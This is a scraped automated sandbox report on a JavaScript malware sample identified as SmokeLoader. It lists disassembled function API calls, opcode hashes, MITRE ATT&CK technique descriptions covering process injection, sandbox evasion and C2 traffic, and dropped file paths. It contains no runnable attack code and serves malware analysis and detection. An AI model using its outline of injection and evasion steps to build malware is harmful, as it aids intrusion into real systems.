Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000010.00000002.2569995708.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_sarbjfc.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b76e6f8ea108e6f900b2be892df91fc6f607bea987df0946b9f50da5a95319bc
Instruction ID: 35dd9e0e0d775fbf54de8accc2db9d3c4b904cb042cfc7da377ce8c3fe766ee0
Opcode Fuzzy Hash: b76e6f8ea108e6f900b2be892df91fc6f607bea987df0946b9f50da5a95319bc
Instruction Fuzzy Hash: 5501A2B6208244EBDB015AA4CD52AEE37259B04320F244177FA13BA0F1DA7CC653E76F

Function 00551A76 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00551AC7

Memory Dump Source

Source File: 00000010.00000002.2570475895.0000000000540000.00000040.00001000.00020000.00000000.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_540000_sarbjfc.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: a86be49f6bfa65ad5df62968c35ae2b0e40302fb1c4c0450093ea44e4d562850
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 5C112B79A00208EFDB01DF98C999E98BFF5AF08351F058095F9489B362D771EA90DB84

Function 004018D0 Relevance: 1.3, APIs: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000010.00000002.2569995708.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_sarbjfc.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b859de65e3e4eca09ea0fa0fd0a149a7b7b601be189d05055e302c384b2899de
Instruction ID: 66a051fc3b1640109372302853407978bf892c336f6e5febd052736601f380b8
Opcode Fuzzy Hash: b859de65e3e4eca09ea0fa0fd0a149a7b7b601be189d05055e302c384b2899de
Instruction Fuzzy Hash: DBF04FB6208244EBDB006AD1CC51EAE33699B49364F304173B613790F5D67C8653E72F

Non-executed Functions

Function 00410E32 Relevance: 66.4, APIs: 44, Instructions: 432COMMONLIBRARYCODE

Download Yara Rule

APIs

___getlocaleinfo.LIBCMT ref: 00410E69
___getlocaleinfo.LIBCMT ref: 00410E7E
___getlocaleinfo.LIBCMT ref: 00410E93
___getlocaleinfo.LIBCMT ref: 00410EA8
___getlocaleinfo.LIBCMT ref: 00410EC0
___getlocaleinfo.LIBCMT ref: 00410ED5
___getlocaleinfo.LIBCMT ref: 00410EE7
___getlocaleinfo.LIBCMT ref: 00410EFC
___getlocaleinfo.LIBCMT ref: 00410F14
___getlocaleinfo.LIBCMT ref: 00410F29

Memory Dump Source

Source File: 00000010.00000002.2570063564.000000000040B000.00000020.00000001.01000000.00000009.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_40b000_sarbjfc.jbxd

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: 08a5706dd36f95cb33eb1fd19b6180d9160690d7207ff98e0d0a3bb732afdc1e
Instruction ID: 88e971658578b68865164239707bd76bcf5248923822aacfc0123a1835a67747
Opcode Fuzzy Hash: 08a5706dd36f95cb33eb1fd19b6180d9160690d7207ff98e0d0a3bb732afdc1e
Instruction Fuzzy Hash: 17E101B390020DBEEF11DAE2CC85EFF77BDEB5474CF00092AB215D2050EA78AA459764

Function 00414047 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 166COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00414122
_memset.LIBCMT ref: 00414142
___ansicp.LIBCMT ref: 00414199
___convertcp.LIBCMT ref: 004141BA

Part of subcall function 004143CF: _memset.LIBCMT ref: 004144C9

Strings

1BA, xrefs: 004141CB

Memory Dump Source

Source File: 00000010.00000002.2570063564.000000000040B000.00000020.00000001.01000000.00000009.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_40b000_sarbjfc.jbxd

Similarity

API ID: _memset$___ansicp___convertcp_malloc
String ID: 1BA
API String ID: 182381717-427559476
Opcode ID: 1a9c0c095cd4ebbc7412376d92f8ab6fbe77295eb3f3c08220bdd1022898e340
Instruction ID: c477a1a75e98c9aee6368b68bfaa6e784f79f85bafb577a3b4888ecfb962d632
Opcode Fuzzy Hash: 1a9c0c095cd4ebbc7412376d92f8ab6fbe77295eb3f3c08220bdd1022898e340
Instruction Fuzzy Hash: 7051BE7550011AFFDB109FA5DC859EF3BA9EB98354B20453AFA04D7260D738CDE18B98

Function 0040D7A1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__crt_waiting_on_module_handle.LIBCMT ref: 0040D7BE
__lock.LIBCMT ref: 0040D819
__lock.LIBCMT ref: 0040D83A

Strings

x$@, xrefs: 0040D7CA

Memory Dump Source

Source File: 00000010.00000002.2570063564.000000000040B000.00000020.00000001.01000000.00000009.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_40b000_sarbjfc.jbxd

Similarity

API ID: __lock$__crt_waiting_on_module_handle
String ID: x$@
API String ID: 946058739-580337868
Opcode ID: fc4670a47f3632b01b16caf735d8ff3ab22c7296ea4dd8459bfb17ea7d2a7ba1
Instruction ID: f8475ee44d53d994f5b99ace5135e8e36cb9c777021c500f84fce444b4195f36
Opcode Fuzzy Hash: fc4670a47f3632b01b16caf735d8ff3ab22c7296ea4dd8459bfb17ea7d2a7ba1
Instruction Fuzzy Hash: 7A119071940741EEE720AF769945B4ABBE0AF04318F10853FE4A9B72E1CB78A945CF5C

Function 0041827B Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004182A1

Part of subcall function 004180C6: __fltout2.LIBCMT ref: 004180F2

__cftog_l.LIBCMT ref: 004182C7
__cftoe_l.LIBCMT ref: 004182F9

Memory Dump Source

Source File: 00000010.00000002.2570063564.000000000040B000.00000020.00000001.01000000.00000009.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_40b000_sarbjfc.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 81a52edbc7f04b0b3beaf306ef0248834585fa557240606b8da63e4de76e0855
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 5C117E3640054EBBCF135E84CC018EE3F22BB19354B18845AFE1859131CB3AC9B2EB89

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report #U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\084d5e83-4d64-4394-9177-23848703bbb4.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2f55c57c-6d75-4436-b558-60728ae29058.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF692f4e.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Windows Analysis Report
#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js